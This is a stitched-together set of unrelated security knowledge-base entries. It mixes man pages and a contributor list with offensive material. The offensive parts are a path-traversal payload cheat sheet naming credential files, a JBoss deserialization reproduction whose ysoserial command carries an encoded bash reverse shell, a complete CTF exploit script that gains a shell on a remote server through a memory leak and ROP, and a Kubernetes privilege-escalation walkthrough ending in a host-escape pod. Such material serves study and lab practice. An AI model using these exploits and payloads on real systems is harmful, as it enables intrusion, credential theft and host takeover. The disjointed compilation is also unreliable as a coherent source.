several encoding that can help you bypass a poorly implemented filter. ```powershell ../ ..\ ..\/ %2e%2e%2f %252e%252e%252f %c0%ae%c0%ae%c0%af %uff0e%uff0e%u2215 %uff0e%uff0e%u2216 ``` ### 16 bits Unicode encoding ```powershell . = %u002e / = %u2215 \ = %u2216 ``` ### UTF-8 Unicode encoding ```powershell . = %c0%2e, %e0%40%ae, %c0ae / = %c0%af, %e0%80%af, %c0%2f \ = %c0%5c, %c0%80%5c ``` ### Bypass "../" replaced by "" Sometimes you encounter a WAF which remove the "../" characters from the strings, just duplicate them. ```powershell ..././ ...\.\ ``` ### Bypass "../" with ";" ```powershell ..;/ http://domain.tld/page.jsp?include=..;/..;/sensitive.txt ``` ### Double URL encoding ```powershell . = %252e / = %252f \ = %255c ``` **e.g:** Spring MVC Directory Traversal Vulnerability (CVE-2018-1271) with `http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini` ### UNC Bypass An attacker can inject a Windows UNC share ('\\UNC\share\name') into a software system to potentially redirect access to an unintended location or arbitrary file. ```powershell \\localhost\c$\windows\win.ini ``` ### NGINX/ALB Bypass NGINX in certain configurations and ALB can block traversal attacks in the route, For example: ```http://nginx-server/../../``` will return a 400 bad request. To bypass this behaviour just add forward slashes in front of the url: ```http://nginx-server////////../../``` ### Java Bypass Bypass Java's URL protocol ```powershell url:file:///etc/passwd url:http://127.0.0.1:8080 ``` ## Path Traversal ### Interesting Linux files ```powershell /etc/issue /etc/passwd /etc/shadow /etc/group /etc/hosts /etc/motd /etc/mysql/my.cnf /proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor) /proc/self/environ /proc/version /proc/cmdline /proc/sched_debug /proc/mounts /proc/net/arp /proc/net/route /proc/net/tcp /proc/net/udp /proc/self/cwd/index.php /proc/self/cwd/main.py /home/$USER/.bash_history /home/$USER/.ssh/id_rsa /run/secrets/kubernetes.io/serviceaccount/token /run/secrets/kubernetes.io/serviceaccount/namespace /run/secrets/kubernetes.io/serviceaccount/certificate /var/run/secrets/kubernetes.io/serviceaccount /var/lib/mlocate/mlocate.db /var/lib/mlocate.db ``` ### Interesting Windows files Always existing file in recent Windows machine. Ideal to test path traversal but nothing much interesting inside... ```powershell c:\windows\system32\license.rtf c:\windows\system32\eula.txt ``` Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread) ```powershell c:/boot.ini c:/inetpub/logs/logfiles c:/inetpub/wwwroot/global.asa c:/inetpub/wwwroot/index.asp c:/inetpub/wwwroot/web.config c:/sysprep.inf c:/sysprep.xml c:/sysprep/sysprep.inf c:/sysprep/sysprep.xml c:/system32/inetsrv/metabase.xml c:/sysprep.inf c:/sysprep.xml c:/sysprep/sysprep.inf c:/sysprep/sysprep.xml c:/system volume information/wpsettings.dat c:/system32/inetsrv/metabase.xml c:/unattend.txt c:/unattend.xml c:/unattended.txt c:/unattended.xml c:/windows/repair/sam c:/windows/repair/system ``` The following log files are controllable and can be included with an evil payload to achieve a command execution ```powershell /var/log/apache/access.log /var/log/apache/error.log /var/log/httpd/error_log /usr/local/apache/log/error_log /usr/local/apache2/log/error_log /var/log/nginx/access.log /var/log/nginx/error.log /var/log/vsftpd.log /var/log/sshd.log /var/log/mail ``` ## Labs * [File path traversal, simple case](https://portswigger.net/web-security/file-path-traversal/lab-simple) * [File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass) * [File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively) * [File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode) * [File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path) * [File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass) ## References * [Path Traversal Cheat Sheet: Windows](https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/) * [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack) * [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html) * [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381) * [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal)
sec-knowleage
# ZwSetInformationThread ## 关于ZwSetInformationThread ZwSetInformationThread 等同于 NtSetInformationThread,通过为线程设置 ThreadHideFromDebugger,可以禁止线程产生调试事件,代码如下 ```c #include <Windows.h> #include <stdio.h> typedef DWORD(WINAPI* ZW_SET_INFORMATION_THREAD) (HANDLE, DWORD, PVOID, ULONG); #define ThreadHideFromDebugger 0x11 VOID DisableDebugEvent(VOID) { HINSTANCE hModule; ZW_SET_INFORMATION_THREAD ZwSetInformationThread; hModule = GetModuleHandleA("Ntdll"); ZwSetInformationThread = (ZW_SET_INFORMATION_THREAD)GetProcAddress(hModule, "ZwSetInformationThread"); ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, 0, 0); } int main() { printf("Begin\n"); DisableDebugEvent(); printf("End\n"); return 0; } ``` 关键代码为`ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, 0, 0);`,如果处于调试状态,执行完该行代码,程序就会退出 ## 如何绕过 注意到该处 ZwSetInformationThread 函数的第 2 个参数为 ThreadHideFromDebugger,其值为 0x11。调试执行到该函数时,若发现第 2 个参数值为 0x11,跳过或者将 0x11 修改为其他值即可
sec-knowleage
# T1136-001-linux-创建用户 ## 来自ATT&CK的描述 攻击者拥有足够的访问权限可以创建本地账户或者域账户。此类账户可以用于权限维持,持久性,不需要在系统上部署后门工具来实现权限维持。 这些Net user命令可用于创建本地或域账户。 ## 测试案例 useradd -o -u 0 -g 0 -M -d / root -s / bin / bash#{用户名} ## 检测日志 /var/log/auth.log (如果可以的话,我更希望你能够使用audit日志进行检测,它会很方便) ## 测试复现 icbc@icbc:/$ sudo useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc(用户名) icbc@icbc:/$ cat /etc/passwd root: x:0:0:root:/root:/bin/bash ...... abc: x:0:0:root:/root:/bin/bash ## 测试留痕 icbc@icbc:/$sudo cat /var/log/auth.log Aug 9 13:42:33 icbc sudo: icbc : TTY=pts/0 ; PWD=/ ; USER=root ; COMMAND=/usr/sbin/useradd -o -u 0 -g 0 -M -d /root -s /bin/bash abc Aug 9 13:42:34 icbc sudo: pam_unix(sudo:session): session opened for user root by (uid=0) Aug 9 13:42:34 icbc useradd[18979]: new user: name=abc, UID=0, GID=0, home=/root, shell=/bin/bash ## 检测规则/思路 ``` Root Account Creation: index=linux source="/var/log/auth.log" eventtype=useradd UID=0 OR GID=0 ``` ## 相关TIP [[T1136-001-win-创建本地账户]] ## 参考推荐 MITRE-ATT&CK-T1136-001 <https://attack.mitre.org/techniques/T1136/001/> linux命令详解之useradd命令使用方法 <https://blog.csdn.net/u011537073/article/details/51987121>
sec-knowleage
vdfuse === VirtualBox软件挂载VDI分区文件工具 ## 补充说明 **vdfuse命令** 是VirtualBox软件挂载VDI分区文件的一个工具,VirtualBox是一款能创建虚拟机的开源软件,vdi是它的默认磁盘格式。 ### 什么是VirtualBox VirtualBox是一款功能强大的x86虚拟机软件,它不仅具有丰富的特色,而且性能也很优异。更可喜的是,VirtualBox于数日前走向开源,成为了一个发布在GPL许可之下的自由软件。VirtualBox可以在Linux和Windows主机中运行,并支持在其中安装Windows (NT 4.0、2000、XP、Server 2003、Vista)、DOS/Windows 3.x、Linux (2.4 和 2.6)、OpenBSD等系列的客户操作系统。 **在Ubuntu中安装vdfuse,打开终端,输入:** ```shell sudo apt-get install virtualbox-fuse ``` ### 语法 ```shell vdfuse [options] -f image-file mountpoint ``` ### 选项 ```shell -h 帮助 -r 只读 -t 类型 (VDI, VMDK, VHD, or raw; default: auto) -f 镜像文件 -a 允许所有用户读取 -w 允许所有用户都写 -g 前台运行 -v 输出反馈 -d debug模式 ``` 注意:必须编辑一下`/etc/fuse.confand`,去掉 "user_allow_other" 前面的注释符号(#),否则不能正确运行。 ### 实例 使用如下如下语句挂载.vdi文件: ```shell sudo vdfuse -f /path/to/file.vdi /path/to/mountpoint ``` `/path/to/mountpoint`应该包含如下文件EntireDisk、Partition1等,如果只有一个文件,你可能需要这样挂载: ```shell mount /path/to/mountpoint/Partition1 /path/to/someother/mountpoint ``` 文件系统就挂载到`/path/to/someother/mountpoint`了。
sec-knowleage
# JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149) 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。 参考: - https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg - https://access.redhat.com/security/cve/cve-2017-12149 ## 测试环境 运行测试环境 ``` docker compose up -d ``` 首次执行时会有1~3分钟时间初始化,初始化完成后访问`http://your-ip:8080/`即可看到JBoss默认页面。 ## 漏洞复现 该漏洞出现在`/invoker/readonly`请求中,服务器将用户提交的POST内容进行了Java反序列化: ![](img/1.png) 所以,我们用常规Java反序列化漏洞测试方法来复现该漏洞。 ### 编写反弹shell的命令 我们使用bash来反弹shell,但由于`Runtime.getRuntime().exec()`中不能使用管道符等bash需要的方法,我们需要用进行一次编码。 工具:http://www.jackson-t.ca/runtime-exec-payloads.html ![](img/2.png) ### 序列化数据生成 使用[ysoserial](https://github.com/frohoff/ysoserial)来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5: ``` java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser ``` ### 发送POC 生成好的POC即为poc.ser,将这个文件作为POST Body发送至/invoker/readonly即可: ![](img/3.png) 成功反弹shell: ![](img/4.png)
sec-knowleage
'\" t .TH "SYSTEMD\-FIRSTBOOT" "1" "" "systemd 231" "systemd-firstboot" .\" ----------------------------------------------------------------- .\" * Define some portability stuff .\" ----------------------------------------------------------------- .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .\" http://bugs.debian.org/507673 .\" http://lists.gnu.org/archive/html/groff/2009-02/msg00013.html .\" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ .ie \n(.g .ds Aq \(aq .el .ds Aq ' .\" ----------------------------------------------------------------- .\" * set default formatting .\" ----------------------------------------------------------------- .\" disable hyphenation .nh .\" disable justification (adjust text to left margin only) .ad l .\" ----------------------------------------------------------------- .\" * MAIN CONTENT STARTS HERE * .\" ----------------------------------------------------------------- .SH "NAME" systemd-firstboot, systemd-firstboot.service \- 初始化基本系统设置 .SH "SYNOPSIS" .HP \w'\fBsystemd\-firstboot\fR\ 'u \fBsystemd\-firstboot\fR [OPTIONS...] .PP systemd\-firstboot\&.service .SH "描述" .PP \fBsystemd\-firstboot\fR 既可以在系统首次启动时交互式的初始化最基本的系统设置, 也可以在创建新系统镜像时非交互式的初始化最基本的系统设置。 这些最基本的系统设置包括: .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 本地化, 也就是 \fILANG=\fR 与 \fILC_MESSAGES\fR 两个环境变量。 .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 时区 .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 主机名 .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} "machine ID" .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} root 用户的密码 .RE .PP 所有上述设置既可以交互式的向用户询问, 也可以非交互式的通过命令行选项指定, 还可以从创建新系统镜像的主机复制而来。 .PP 如果某个设置已经被初始化, 那么将不会覆盖已有的设置, 并且不会提示用户设置此项。 .PP 与 \fBlocalectl\fR(1), \fBtimedatectl\fR(1), \fBhostnamectl\fR(1) 不同,此工具直接操作文件系统上的配置文件, 并不需要任何系统服务的支持。 因此, \fBsystemd\-firstboot\fR 可用于设置一个已挂载(但未启动)的系统镜像。 不应该在运行中的系统上使用 \fBsystemd\-firstboot\fR 命令。 .SH "选项" .PP 能够识别的命令行选项如下: .PP \fB\-\-root=\fR\fB\fIroot\fR\fR .RS 4 指定已挂载(但未启动)的系统镜像的根目录位置, 所有其他路径都将以此 \fIroot\fR 为前缀。 仅在为已挂载(但未启动)的系统镜像 初始化基本系统参数时才需要使用此选项。 .RE .PP \fB\-\-locale=\fR\fB\fILOCALE\fR\fR, \fB\-\-locale\-messages=\fR\fB\fILOCALE\fR\fR .RS 4 分别设置 \fILANG=\fR 与 \fILC_MESSAGES\fR 环境变量。 例如 "zh_CN\&.utf8" 。此选项用于设置 \fBlocale.conf\fR(5) 配置文件。 .RE .PP \fB\-\-timezone=\fR\fB\fITIMEZONE\fR\fR .RS 4 设置系统时区。 例如 "PRC" (北京时间)。此选项用于设置 \fBlocaltime\fR(5) 软连接的指向。 .RE .PP \fB\-\-hostname=\fR\fB\fIHOSTNAME\fR\fR .RS 4 设置主机名。 此选项用于设置 \fBhostname\fR(5) 配置文件。 .RE .PP \fB\-\-machine\-id=\fR\fB\fIID\fR\fR .RS 4 设置"machine ID"。 此选项用于设置 \fBmachine-id\fR(5) 文件。 .RE .PP \fB\-\-root\-password=\fR\fB\fIPASSWORD\fR\fR, \fB\-\-root\-password\-file=\fR\fB\fIPATH\fR\fR .RS 4 设置root用户的密码, 同时创建 \fBshadow\fR(5) 文件。既可以通过 \fB\-\-root\-password=\fR 选项直接在命令行上指定密码, 也可以通过 \fB\-\-root\-password\-file=\fR 选项从指定的文件中读取密码。 出于安全考虑, 一般不建议直接在命令行上指定密码, 因为其他用户可以通过 \fBps\fR(1) 命令看到密码。 .RE .PP \fB\-\-prompt\-locale\fR, \fB\-\-prompt\-timezone\fR, \fB\-\-prompt\-hostname\fR, \fB\-\-prompt\-root\-password\fR .RS 4 以交互式对话询问用户特定的设置, 但不会提示已经在命令行上指定的设置(因为它们的优先级更高)。 .RE .PP \fB\-\-prompt\fR .RS 4 以交互式对话询问用户本地化、时区、主机名、root密码。 相当于同时使用 \fB\-\-prompt\-locale\fR, \fB\-\-prompt\-timezone\fR, \fB\-\-prompt\-hostname\fR, \fB\-\-prompt\-root\-password\fR 选项。 .RE .PP \fB\-\-copy\-locale\fR, \fB\-\-copy\-timezone\fR, \fB\-\-copy\-root\-password\fR .RS 4 从主机复制特定的设置, 必须和 \fB\-\-root=\fR 选项一起使用。 .RE .PP \fB\-\-copy\fR .RS 4 从主机复制本地化、时区、root密码。 必须和 \fB\-\-root=\fR 选项一起使用。相当于同时使用 \fB\-\-copy\-locale\fR, \fB\-\-copy\-timezone\fR, \fB\-\-copy\-root\-password\fR 选项。 .RE .PP \fB\-\-setup\-machine\-id\fR .RS 4 将"machine ID"初始化为一个随机值。 必须和 \fB\-\-root=\fR 选项一起使用。 .RE .PP \fB\-h\fR, \fB\-\-help\fR .RS 4 显示简短的帮助信息并退出。 .RE .PP \fB\-\-version\fR .RS 4 显示简短的版本信息并退出。 .RE .SH "退出状态" .PP 返回值为 0 表示成功, 非零返回值表示失败代码。 .SH "参见" .PP \fBsystemd\fR(1), \fBlocale.conf\fR(5), \fBlocaltime\fR(5), \fBhostname\fR(5), \fBmachine-id\fR(5), \fBshadow\fR(5), \fBsystemd-machine-id-setup\fR(1), \fBlocalectl\fR(1), \fBtimedatectl\fR(1), \fBhostnamectl\fR(1) .\" manpages-zh translator: 金步国 .\" manpages-zh comment: 金步国作品集:http://www.jinbuguo.com
sec-knowleage
#!/usr/bin/python2 import Crypto.Cipher.AES from pwn import * def exploit(connection): # Vulnerability # # The remote server allows for encrypting chunks of process memory. # Location of each chunk to be encrypted is provided by the client as # offset relative to fixed location within data section of the main # executable. The provided offsets are used without any validation, so we # are able to encrypt arbitrary memory location within the server process. # # Note that the encryption key is not exposed to the client. However after # each encryption operation, copy of ciphertext is sent to the client. libc = ELF("libc.so.6") def run_encrypt(offset, size): connection.recvuntil("offset:") connection.send("{:d}\n".format(offset)) connection.recvuntil("size:") connection.send("{:d}\n".format(size)) response = connection.recvn((size & ~ 0x0f) + 0x10) return response # Step 1: Obtain fresh key and IV # # Run encryption over current (unknown) key and IV, so fresh key and IV # are generated and their copy is sent to the client. ciphertext = run_encrypt(-0x20, 0x1f) key = ciphertext[: 0x10] iv = ciphertext[0x10: 0x20] # Step 2: Leak address of executable # # Run encryption over `__dso_handle` and decrypt received ciphertext. ciphertext = run_encrypt(-0x3a0, 0x0f) cipher = Crypto.Cipher.AES.new(key, mode=Crypto.Cipher.AES.MODE_CBC, IV=iv) plaintext = cipher.decrypt(ciphertext) dso_handle_address = u64(plaintext[8: 0x10]) info("dso_handle_address = %012x", dso_handle_address) main_address = dso_handle_address - 0x202008 info("main_address = %012x", main_address) # Step 3: Define arbitrary memory read primitive # # Note that this primitive modifies (destroys) any read memory. base_address = main_address + 0x2023a0 info("base_address = %012x", base_address) def read_memory(target_address, size): ciphertext = run_encrypt(target_address - base_address, size) cipher = Crypto.Cipher.AES.new(key, mode=Crypto.Cipher.AES.MODE_CBC, IV=iv) plaintext = cipher.decrypt(ciphertext) return plaintext # Step 4: Leak libc address stderr_address = u64(read_memory(main_address + 0x202360, 0x0f)[: 8]) info("stderr_address = %012x", stderr_address) libc.address = stderr_address - libc.symbols["_IO_2_1_stderr_"] info("libc.address = %012x", libc.address) # Step 5: Leak stack address stack_address = u64(read_memory(libc.symbols["environ"], 0x0f)[: 8]) info("stack_address = %012x", stack_address) # Step 6: Create write primitive by corrupting `_IO_2_1_stdin_` # # Our goal is to modify `_IO_buf_base` and `_IO_buf_end` during single # operation. However we have very limited control over encryption # parameters, so using encryption to write arbitrary multibyte values # is problematic. # # Our approach is to corrupt least significant byte of `_IO_buf_base`, so # it points before `_IO_read_ptr`. Next, during the following `scanf` call # to read a decimal number: # 1. `scanf` requests first character from stdin # 2. stdin is using corrupted `_IO_buf_base` as new start of i/o buffer, # performing single read syscall over all critical __IO_FILE fields # 3. we send single decimal digit followed by sequence of crafted bytes # that: # * overwrite `_IO_read_end`, so stdin updated state will indicate that # only one character (the decimal digit) is available in the i/o buffer # * overwrite `_IO_buf_base` and `_IO_buf_end` with arbitrary location # for our write primitive # 4. `scanf` requests second character from stdin # 5. stdin is using corrupted `_IO_buf_base` and `_IO_buf_end` as new i/o # buffer, performing single read syscall to fill that buffer # 6. we send arbitrary content for our write primitive # # When corrupting least significant byte of `_IO_buf_base` we simply check # ciphertext for expected content of __IO_FILE structure and force new key # and IV until required value can be generated. while True: # check ciphertext for expected content of __IO_FILE structure buffer = StringIO() buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83)) buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83)) buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83)) cipher = Crypto.Cipher.AES.new(key, mode=Crypto.Cipher.AES.MODE_CBC, IV=iv) ciphertext = cipher.encrypt(buffer.getvalue()[1: 0x11]) if 4 <= u8(ciphertext[0x0f]) < 8: break # try another combination of key and IV ciphertext = run_encrypt(-0x20, 0x1f) key = ciphertext[: 0x10] iv = ciphertext[0x10: 0x20] # current key and IV should result in required corruption of the least # significant byte of `_IO_buf_base` ciphertext = run_encrypt(libc.symbols["_IO_2_1_stdin_"] + 0x29 - base_address, 0x0f) offset = u8(ciphertext[0x0f]) connection.recvuntil("offset:") # finally we can corrupt `_IO_read_end`, `_IO_buf_base` and `_IO_buf_end` buffer = StringIO() buffer.write(p64(0xfbad20ab)) buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83)) buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83 - (0x48 - offset))) buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83)) buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83)) buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83)) buffer.write(p64(libc.symbols["_IO_2_1_stdin_"] + 0x83)) buffer.write(p64(stack_address - 0x130)) buffer.write(p64(stack_address)) bytes = buffer.getvalue() buffer = StringIO() buffer.write("0") buffer.write(bytes[offset + 1: ]) connection.send(buffer.getvalue()) time.sleep(0.5) # Step 7: Hijack execution using ROP buffer = StringIO() buffer.write(p64(libc.address + 0x1306d9)) # pop rdx ; pop rsi ; ret buffer.write(p64(0)) buffer.write(p64(stack_address - 0x100)) buffer.write(p64(libc.address + 0x02155f)) # pop rdi ; ret buffer.write(p64(stack_address - 0xf0)) buffer.write(p64(libc.symbols["execve"])) buffer.write(p64(stack_address - 0xf0)) buffer.write(p64(0)) buffer.write("/bin/sh\x00") connection.send(buffer.getvalue()) time.sleep(0.5) connection.interactive() context.log_level = "debug" with remote("3.113.219.89", 31337) as connection: exploit(connection)
sec-knowleage
# 参与者 && 致谢 有的同学向本项目提交过PR,也有私下提交代码的,这些人无法在contributors页面显示,所以在这里进行致谢: Avatar | ID | Blog ---- | ---- | ---- [![phith0n](https://github.com/phith0n.png?size=40)](https://github.com/phith0n) | [phith0n](https://github.com/phith0n) | https://www.leavesongs.com/ [![stayliv3](https://github.com/stayliv3.png?size=40)](https://github.com/stayliv3) | [xd_xd](https://github.com/stayliv3) | http://xdxd.love/ [![neargle](https://github.com/neargle.png?size=40)](https://github.com/neargle) | [Neargle](https://github.com/neargle) | http://blog.neargle.com/ [![monburan](https://github.com/monburan.png?size=40)](https://github.com/monburan) | [monburan](https://github.com/monburan) | http://monburan.cn/ [![cbmixx](https://github.com/chaitin.png?size=40)](https://github.com/cbmixx) | [cbmixx](https://github.com/cbmixx) | (null) [![Y4nTsing](https://github.com/Y4nTsing.png?size=40)](https://github.com/Y4nTsing) | [Y4nTsing](https://github.com/Y4nTsing) | (null)
sec-knowleage
--- title: CVE-2018-1002105 提权漏洞 --- <center><h1>K8s 提权漏洞 CVE-2018-1002105 学习</h1></center> --- > 以下内容为自己个人的学习笔记,因此内容不会多么详实;其中有些内容也许会存在错误,如有错误欢迎留言处指出,还望谅解。 ## 0x00 前言 CVE-2018-1002105 是一个 k8s 提权漏洞,该漏洞允许攻击者在拥有 pod 权限的情况下,提升至 API Server 权限,当拥有 API Server 权限后,也就不难逃逸到宿主机了。 该漏洞的 CVSS 3.x 评分为 9.8 分,受影响版本如下: Kubernetes v1.0.x-1.9.x Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11) Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5) Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3) 在开始学习该漏洞之前,需要先了解一下 WebSocket,WebSocket 是一种网络传输协议,位于 OSI 模型的应用层,和 HTTP 协议一样依赖于传输层的 TCP 协议。 为了实现和 HTTP 的兼容性,WebSocket 握手使用 HTTP 的 Upgrade 头,即表示从 HTTP 协议改成 WebSocket 协议,以下是一个简单的 WebSocket 握手请求。 客户端请求: ``` GET /chat HTTP/1.1 Host: server.example.com Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ== Origin: http://example.com Sec-WebSocket-Protocol: chat, superchat Sec-WebSocket-Version: 13 ``` 服务端响应: ``` HTTP/1.1 101 Switching Protocols Upgrade: websocket Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo= Sec-WebSocket-Protocol: chat ``` 在客户端的请求中,`Connection: Upgrade` 表示客户端希望升级协议,`Upgrade: WebSocket` 表示希望升级到 WebSocket 协议。 ## 0x01 漏洞分析 这里以 k8s v1.11.1 版本为例,代码地址:https://github.com/kubernetes/kubernetes/archive/refs/tags/v1.11.1.tar.gz 在进行漏洞分析之前,可以先通过下图去了解一下客户端向 pod 执行命令的流程 <img width="1000" src="/img/1649994371.png"> 通过这张图不难看出,当客户端向 Node 节点里的 Pod 发送指令时,会先经过 API Server,再到 Kubelet,CVE-2018-1002105 漏洞也是存在于这个流程中,下面先来看看 API Server 的代码,再看看 Kubelet 的代码。 ### API Server 代码分析 先找到 staging/src/k8s.io/apimachinery/pkg/util/proxy/upgradeaware.go 文件,upgradeaware.go 用来处理 API Server 的代理逻辑,在 upgradeaware.go 的 185 行有个 ServerHTTP 函数 <img width="1000" src="/img/1649994385.png"> 在 187 行可以看到,ServerHTTP 函数调用了 tryUpgrade 函数,漏洞就存在于这个函数中,该函数位于 upgradeaware.go 的第 236行,下面就来分析一下这个函数。 <img width="1000" src="/img/1649994397.png"> 在 tryUpgrade 函数中,首先调用了 IsUpgradeRequest 函数 IsUpgradeRequest 函数会判断 HTTP 的请求包中是否存在`Connection: Upgrade`,即判断该请求是否想要升级,如果存在就会返回 True <img width="1000" src="/img/1649994407.png"> 接着回到刚才的 tryUpgrade 函数,在 tryUpgrade函数判断协议需要升级之后,建立了与后端服务器的连接 <img width="1400" src="/img/1649994415.png"> 接着 tryUpgrade 函数进行了 HTTP Hijack 操作,简单的说,就是这里程序没有将 HTTP 连接交给 Go 内置的处理流程,而是自己在 TCP 的基础上进行了 HTTP 交互,这是从 HTTP 升级到 WebSocket 的关键步骤之一 <img width="1100" src="/img/1649994428.png"> 然后 tryUpgrade 函数将后端针对上一次的请求响应返回给客户端 <img width="1100" src="/img/1649994462.png"> 然后使用 Goroutine 将客户端和后端服务的代理通道建立了起来 <img width="1000" src="/img/1649994471.png"> 这里是 API Server 代码中的流程,下面来看看 kubelet 的流程。 ### Kubelet 分析 Kubelet 代码位置在 pkg/kubelet/server/server.go 在 server.go 中可以发现 Kubelet 启动时,会注册一系列的 API,/exec 也在其中,这里会主要看下 /exec 的代码 <img width="1000" src="/img/1649994488.png"> 在 server.go 的第 671 行,可以看到 getExec 函数 <img width="1000" src="/img/1649994498.png"> 在该函数的第 673 行,首先创建了一个 Options 实例,这里看下其中的 NewOptions 函数 <img width="1000" src="/img/1649994509.png"> 在第 61 行可以看到如果请求中没有给出 stdin、stdout 和 stderr 这三个参数,这个 Options 实例将创建失败,err 参数将返回`you must specify at least 1 of stdin, stdout, stderr` 这时 getExec 函数第 674 行的 if 判断将为真,此时 getExec 函数将直接返回客户端 http.StatusBadRequest 即状态码 400 <img width="1000" src="/img/1649994520.png"> 这时,可以构造一下请求测试一下,可以看到确实返回了 400,和分析结果一致。 <img width="1000" src="/img/1649994533.png"> 结合 API Server 的 tryUpgrade 函数代码可以发现,API Server 并没有对这种错误情况进行处理,也就是说在 API Server 中并没有对请求的返回值进行判断,不管返回值是多少都会走到下面的 Goroutine 代码中,依旧为 Kubelet 建立 WebSocket 连接。 而且因为 getExec 报错失败了,所以这种连接也没有对接到某个 Pod 上,连接也没有被销毁,客户端可以继续通过这个连接向 Kubelet 发送指令。 由于经过了 API Server 的代理,因此指令是以 API Server 的权限向 Kubelet 下发的,也就是说客户端能自由的向该 Kubelet 下发指令,而不受限制,从而实现了权限提升。 ## 0x02 漏洞复现 ### 环境搭建 首先需要安装低版本的 k8s,这里版本为 1.11.1 ```yaml git clone https://github.com/brant-ruan/metarget.git cd metarget/ pip3 install -r requirements.txt ./metarget cnv install cve-2018-1002105 ``` 接着需要准备一些文件,文件地址:https://github.com/Metarget/cloud-native-security-book/tree/main/code/0403-CVE-2018-1002105 下载这些文件后,创建相应资源 ```yaml kubectl apply -f cve-2018-1002105_namespace.yaml kubectl apply -f cve-2018-1002105_role.yaml kubectl apply -f cve-2018-1002105_rolebinding.yaml kubectl apply -f cve-2018-1002105_pod.yaml ``` 配置用户认证 ```yaml cp test-token.csv /etc/kubernetes/pki/test-role-token.csv ``` 在 API Server 的配置文件 /etc/kubernetes/manifests/kube-apiserver.yaml 中容器的启动参数部分末尾(spec.container.command)增加一行配置 ```yaml --token-auth-file=/etc/kubernetes/pki/test-role-token.csv ``` 等待 API Server 重启,此时场景就搭建完毕了,下面测试下,场景是否正常 ```yaml kubectl --token=password --server=https://172.16.214.18:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname kubectl --token=password --server=https://172.16.214.18:6443 --insecure-skip-tls-verify get pods -n kube-system ``` 结果显示能够对指定 Pod 执行命令,但是不能执行其他越权操作,符合预期场景。 <img width="1100" src="/img/1649994551.png"> ### 漏洞利用 使用脚本获得高权限凭证文件,脚本地址:https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py ```yaml python3 exploit.py --target 172.16.214.18 --port 6443 --bearer-token password --namespace test --pod test ``` <img width="1200" src="/img/1649994563.png"> 接着,使用拿到的高权限凭证在集群中新建一个挂载了宿主机根目录的 Pod,yaml 文件地址:https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/attacker.yaml ```yaml kubectl --server=https://172.16.214.18:6443 --certificate-authority=./ca.crt --client-certificate=./apiserver-kubelet-client.crt --client-key=./apiserver-kubelet-client.key apply -f attacker.yaml ``` Pod 被成功创建后,执行 ls /host-escape-door 